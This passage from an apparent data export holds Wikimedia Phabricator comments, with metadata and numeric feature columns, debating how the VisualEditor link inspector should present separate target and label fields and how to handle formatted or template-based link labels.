Most likely we will just not support cases where the link contains non-text through this particular interface, but they aren't that common.",,,1478705462,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,175,,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,7.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.310344827586207,1.0,"QUOTE

Most likely we will just not support cases where the link contains non-text through this particular interface, but they aren't that common."
757555,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2777160, @Quiddity wrote:
>>>! In T55973#2775922, @Trizek-WMF wrote:
>> How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?
> 
> Is that a regular pattern somewhere? I don't think I've seen it used before, and am interested to see examples.

I've quick-searched on articles I've written and found that exemple [[https://fr.wikipedia.org/w/index.php?title=Mod%C3%A9lisme_ferroviaire&action=edit&section=33|here]]:  `''[[Gorre & Daphetid Railroad|{{lang|en|Gorre & Daphetid Railroad}}]]''` 

I've also searched (ctrl+F) on [[https://fr.wikipedia.org/w/index.php?title=Histoire%20du%20communisme&action=edit|Histoire du communisme]], the biggest article on fr.wp, where I've found:
* `[[groupe Barta|{{citation|groupe Barta}}]] ` or `[[De chacun selon ses moyens, à chacun selon ses besoins|{{citation|De chacun selon ses facultés, à chacun selon ses besoins}}]]`
* `[[Kang Kek Ieu|{{citation|Douch}}]]`

There is also cases like `[[1er octobre|{{1er}} octobre]]` or `[[18e congrès national du Parti communiste chinois|{{18e|congrès}} national]]`.

Some cases can be rewritten for sure, but not always.",,,1478601347,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,5.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,22.0,1.0,5.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,6.0,9.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,7.0,3.227272727272727,0.5568181818181818,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I've quick-searched on articles I've written and found that exemple [[URL  CODE 

I've also searched (ctrl+F) on [[URL du communisme]], the biggest article on fr.wp, where I've found:
* CODE or CODE
* CODE

There is also cases like CODE or CODE.

Some cases can be rewritten for sure, but not always."
757126,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2775922, @Trizek-WMF wrote:
> How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?

Is that a regular pattern somewhere? I don't think I've seen it used before, and am interested to see examples.
",,,1478541625,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,17.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.9,"QUOTE
QUOTE

Is that a regular pattern somewhere? I don't think I've seen it used before, and am interested to see examples.
"
757112,VisualEditor: Link input widget should have separate inputs for target and display text,"One reason to consider keeping the internal-labels is that they're easier to slip into the existing MW extension version of the link inspector, since that has to accommodate the wiki search results alongside the fields.",,,1478540932,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,20.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,4.625,0.825,"One reason to consider keeping the internal-labels is that they're easier to slip into the existing MW extension version of the link inspector, since that has to accommodate the wiki search results alongside the fields."
756816,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2769070, @Quiddity wrote:

> Losing occasional text-formatting is an acceptable compromise.

I've slept on that and now I agree.

>>! In T55973#2773796, @Esanders wrote:
> Inline labels:
> 
> {F4698802}
> 
> Google docs for comparison:
> 
> {F4698804}
> 
> I think focusing the link field first, and labelling it ""link"" instead of ""target"" (which is a bit technical) will help. We could also live-update the link as the text field is changed, which would avoid surprises when 'done' is clicked.

I think that's the best for a link made on a raw text.
How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?",,,1478518303,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,25.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,9.0,13.0,1.0,0.0,0.0,6.0,0.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,3.101449275362319,0.5362318840579711,"QUOTE

QUOTE

I've slept on that and now I agree.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think that's the best for a link made on a raw text.
How do you deal with something like CODE, where the label is built on a template?"
756339,VisualEditor: Link input widget should have separate inputs for target and display text,"Inline labels:

{F4698802}

Google docs for comparison:

{F4698804}

I think focusing the link field first, and labelling it ""link"" instead of ""target"" (which is a bit technical) will help. We could also live-update the link as the text field is changed, which would avoid surprises when 'done' is clicked.",,,1478360692,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,4.0,8.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,3.0,0.0,8.0,0.0,4.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,3.589041095890411,0.726027397260274,"Inline labels:

{F4698802}

Google docs for comparison:

{F4698804}

I think focusing the link field first, and labelling it ""link"" instead of ""target"" (which is a bit technical) will help. We could also live-update the link as the text field is changed, which would avoid surprises when 'done' is clicked."
755492,VisualEditor: Link input widget should have separate inputs for target and display text,"> Use a 'placeholder' and insert an invisible label somewhere for accessibility.
Worth considering that the common-case here is (probably) editing an already-existing internal-wiki link. With a placeholder as the only distinction, that's going to look like this:

{F4693560}

...which is perhaps initially confusing.

Then the secondary case is editing an external link, where keeping the URL field as wide as possible is preferred, because URLs can get pretty long. The advantage of the internal label there is that it really is pretty space-efficient -- no added vertical size, and it's a compact horizontal representation.",,,1478203630,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.0,1.0,0.0,10.5,1.0,1.0,0.0,0.0,2.5,0.0,0.0,0.5,1.0,0.0,0.5,7.5,6.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,6.0,0.5,2.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,10.5,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.5,5.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,4.0,0.0,0.0,0.0,4.205357142857142,0.8303571428571428,"QUOTE
Worth considering that the common-case here is (probably) editing an already-existing internal-wiki link. With a placeholder as the only distinction, that's going to look like this:

{F4693560}

...which is perhaps initially confusing.

Then the secondary case is editing an external link, where keeping the URL field as wide as possible is preferred, because URLs can get pretty long. The advantage of the internal label there is that it really is pretty space-efficient -- no added vertical size, and it's a compact horizontal representation."
755485,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2763929, @matmarex wrote:
> * Just use a FieldLayout :)
> * Use a 'placeholder' and insert an invisible label somewhere for accessibility.


* This would make the inspector much taller, which may or may not be acceptable.
* When editing the link both fields will be non-empty so the placeholder will never be seen.

Google Docs uses an inline label, which may severely reduce the width if we need to make room for all languages, but this should be considered too.",,,1478203101,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,3.0,0.0,0.0,3.0,1.0,7.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,4.0,3.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,1.0,1.0,0.0,0.0,3.8133333333333335,0.7333333333333333,"QUOTE
QUOTE
QUOTE


* This would make the inspector much taller, which may or may not be acceptable.
* When editing the link both fields will be non-empty so the placeholder will never be seen.

Google Docs uses an inline label, which may severely reduce the width if we need to make room for all languages, but this should be considered too."
755350,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2768853, @Trizek-WMF wrote:
> And what if we only display a read-only text for the label?
> 
> Label: //2013//
> Target: 2014
> 
> That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.

That would leave a primary use-case as very difficult - pasting or writing a complete replacement for the link label.

I.e. As an experienced wikitext editor, I'm accustomed to writing/pasting the link first, and then writing/pasting the label after a space or pipe. -- With VE, it is hard to select the entire label, in order to paste my clipboard on top, or in order to write it from scratch.

I really like the design given in T55973#2761021 above.
Losing occasional text-formatting is an acceptable compromise.",,,1478194854,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.5,0.0,0.0,6.0,1.5,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,2.0,1.0,3.0,10.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,3.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,14.5,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,1.5,9.5,0.0,2.5,6.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,10.0,5.0,0.0,0.0,0.0,4.0,0.0,0.5,3.0,0.0,3.5,0.0,0.0,0.0,3.8934426229508197,0.6885245901639345,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That would leave a primary use-case as very difficult - pasting or writing a complete replacement for the link label.

I.e. As an experienced wikitext editor, I'm accustomed to writing/pasting the link first, and then writing/pasting the label after a space or pipe. -- With VE, it is hard to select the entire label, in order to paste my clipboard on top, or in order to write it from scratch.

I really like the design given in T55973#2761021 above.
Losing occasional text-formatting is an acceptable compromise."
755347,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2768853, @Trizek-WMF wrote:
> And what if we only display a read-only text for the label?
> 
> Label: //2013//
> Target: 2014
> 
> That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.

That would leave a primary use-case as very difficult - pasting or writing a complete replacement for the link label.

I.e. As an experienced wikitext editor, I'm accustomed to pasting the link first, and then writing the label after a space or pipe. -- With VE, it is hard to select the entire label, in order to paste my clipboard on top, or in order to write it from scratch.

I really like the design given in T55973#2761021 above.
Losing occasional text-formatting is an acceptable compromise.",,,1478194804,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.5,0.0,0.0,6.0,1.5,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,2.0,1.0,3.0,10.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,3.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,14.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,1.5,9.5,0.0,2.5,6.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,10.5,5.0,0.0,0.0,0.0,4.0,0.0,0.5,3.0,0.0,3.0,0.0,0.0,0.0,3.889830508474576,0.7033898305084745,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That would leave a primary use-case as very difficult - pasting or writing a complete replacement for the link label.

I.e. As an experienced wikitext editor, I'm accustomed to pasting the link first, and then writing the label after a space or pipe. -- With VE, it is hard to select the entire label, in order to paste my clipboard on top, or in order to write it from scratch.

I really like the design given in T55973#2761021 above.
Losing occasional text-formatting is an acceptable compromise."
755322,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2768853, @Trizek-WMF wrote:
> And what if we only display a read-only text for the label?
> 
> Label: //2013//
> Target: 2014
> 
> That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.

This is another good option (I may have suggested it in the past).

ps Note that we will be able to handle the example you gave just fine because the annotation (italic) spans the whole link. A better example would be:

Label: Season //2014//
Target: Season 2014",,,1478193377,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,21.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,5.0,5.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.589041095890411,0.6575342465753424,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is another good option (I may have suggested it in the past).

ps Note that we will be able to handle the example you gave just fine because the annotation (italic) spans the whole link. A better example would be:

Label: Season //2014//
Target: Season 2014"
755307,VisualEditor: Link input widget should have separate inputs for target and display text,"And what if we only display a read-only text for the label?

Label: //2013//
Target: 2014

That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.",,,1478192130,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,10.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,8.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7058823529411766,0.8431372549019608,"And what if we only display a read-only text for the label?

Label: //2013//
Target: 2014

That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE."
755303,VisualEditor: Link input widget should have separate inputs for target and display text,"I do agree that showing wikitext is the wrong way to go. This is a prime user-facing tool, which a majority of users are going to be interacting with regularly, not something far more power-usery like templates.

If we want to preserve the rare cases of internal formatting, we should go all out and have a VE surface inside the inspector... which I think makes it far too heavy for what's normally an incredibly quick action.

Technically, I suppose there's alternatives like diffing/merging the change to the label so that we keep the annotations if the section they cover wasn't touched. But that's a bunch more work on our end, and moves towards being too magic for the user to understand why the formatting sometimes stays and sometimes goes.",,,1478191646,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.5,0.5,0.0,0.5,1.0,5.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,4.0,1.5,8.5,12.0,0.5,2.0,0.5,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,9.0,2.5,0.5,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,1.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.5,8.5,3.5,4.5,3.5,2.5,10.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.5,12.0,1.0,0.0,0.0,0.0,5.5,0.0,2.5,3.0,0.0,2.5,1.0,0.0,0.0,4.0855263157894735,0.7894736842105263,"I do agree that showing wikitext is the wrong way to go. This is a prime user-facing tool, which a majority of users are going to be interacting with regularly, not something far more power-usery like templates.

If we want to preserve the rare cases of internal formatting, we should go all out and have a VE surface inside the inspector... which I think makes it far too heavy for what's normally an incredibly quick action.

Technically, I suppose there's alternatives like diffing/merging the change to the label so that we keep the annotations if the section they cover wasn't touched. But that's a bunch more work on our end, and moves towards being too magic for the user to understand why the formatting sometimes stays and sometimes goes."
755295,VisualEditor: Link input widget should have separate inputs for target and display text,"Also, as a volunteer, I don't want to hear ""quotes on the text are making italics, that's a bug"" from a newbie. That's a request for my personal comfort, Sherry ;)

>>! In T55973#2768788, @Esanders wrote:
> Showing wikitext is not the right thing to do. Links with *partial* formatting are very rare, and editing their text rarer. Even in those cases the user can just edit the text directly. If the user edits the label in this very rare case they will get immediate visual feedback of the change. Let's not make perfect the enemy of the good.

Wise words!

",,,1478190964,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,14.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,3.2,0.78,"Also, as a volunteer, I don't want to hear ""quotes on the text are making italics, that's a bug"" from a newbie. That's a request for my personal comfort, Sherry ;)

QUOTE
QUOTE

Wise words!

"
755293,VisualEditor: Link input widget should have separate inputs for target and display text,"Showing wikitext is not the right thing to do. Links with *partial* formatting are very rare, and editing their text rarer. Even in those cases the user can just edit the text directly. If the user edits the label in this very rare case they will get immediate visual feedback of the change. Let's not make perfect the enemy of the good.",,,1478190826,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,0.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,3.0,7.0,1.0,1.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.887323943661972,0.7323943661971831,"Showing wikitext is not the right thing to do. Links with *partial* formatting are very rare, and editing their text rarer. Even in those cases the user can just edit the text directly. If the user edits the label in this very rare case they will get immediate visual feedback of the change. Let's not make perfect the enemy of the good."
755281,VisualEditor: Link input widget should have separate inputs for target and display text,"Rich display would be nicer (but take up a lot of space).  OTOH, given a link such as `[[Example|the ''blue'' picture]]`, I'd rather see 

```
the ''blue'' picture
Example
```

rather than 

```
the blue picture
Example
``` 

– especially when the second item will silently remove the italics if I touch it.
",,,1478189876,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,11.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,8.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,3.30188679245283,0.8301886792452831,"Rich display would be nicer (but take up a lot of space).  OTOH, given a link such as CODE, I'd rather see 

``CODE`CODE`CODE`` 

– especially when the second item will silently remove the italics if I touch it.
"
754975,VisualEditor: Link input widget should have separate inputs for target and display text,"No wikitext displayed, please! ",,,1478166975,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"No wikitext displayed, please! "
754833,VisualEditor: Link input widget should have separate inputs for target and display text,"@DLynch, would it be easy enough to make it show wikitext rather than ""plain text"" (i.e., like the template dialog does for parameters)?  Having the internal annotations silently disappear might be annoying (for the very small percentage of links that contain internal annotations).",,,1478136737,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,2.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,11.0,0.0,2.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.518518518518518,0.7962962962962963,"SCREEN_NAME, would it be easy enough to make it show wikitext rather than ""plain text"" (i.e., like the template dialog does for parameters)?  Having the internal annotations silently disappear might be annoying (for the very small percentage of links that contain internal annotations)."
754032,VisualEditor: Link input widget should have separate inputs for target and display text,"The patch currently behaves as:

* If there's any block-level content in the link (e.g. an image), it disables the label field. (Cue taken from Google Docs, which completely hides the field in this case.)
* If there's annotations on the content (bold, italic, etc), the field is enabled, and contains the plain text version. Making a change to its contents will remove all internal annotations from the link. (i.e. if it's in a block of bold text, it'll stay bold, but if part of the inside was bold, that'll be lost)",,,1478105014,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,1.5,0.0,0.5,1.5,0.0,4.5,1.0,0.0,0.0,2.5,3.5,1.5,0.0,0.0,1.0,0.0,0.0,1.5,9.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,2.5,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.5,4.0,2.5,1.5,10.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.0,9.0,1.5,0.0,0.0,0.0,3.0,0.0,1.5,2.0,0.0,1.0,0.0,0.0,1.5,3.479375991538868,0.7235589635113697,"The patch currently behaves as:

* If there's any block-level content in the link (e.g. an image), it disables the label field. (Cue taken from Google Docs, which completely hides the field in this case.)
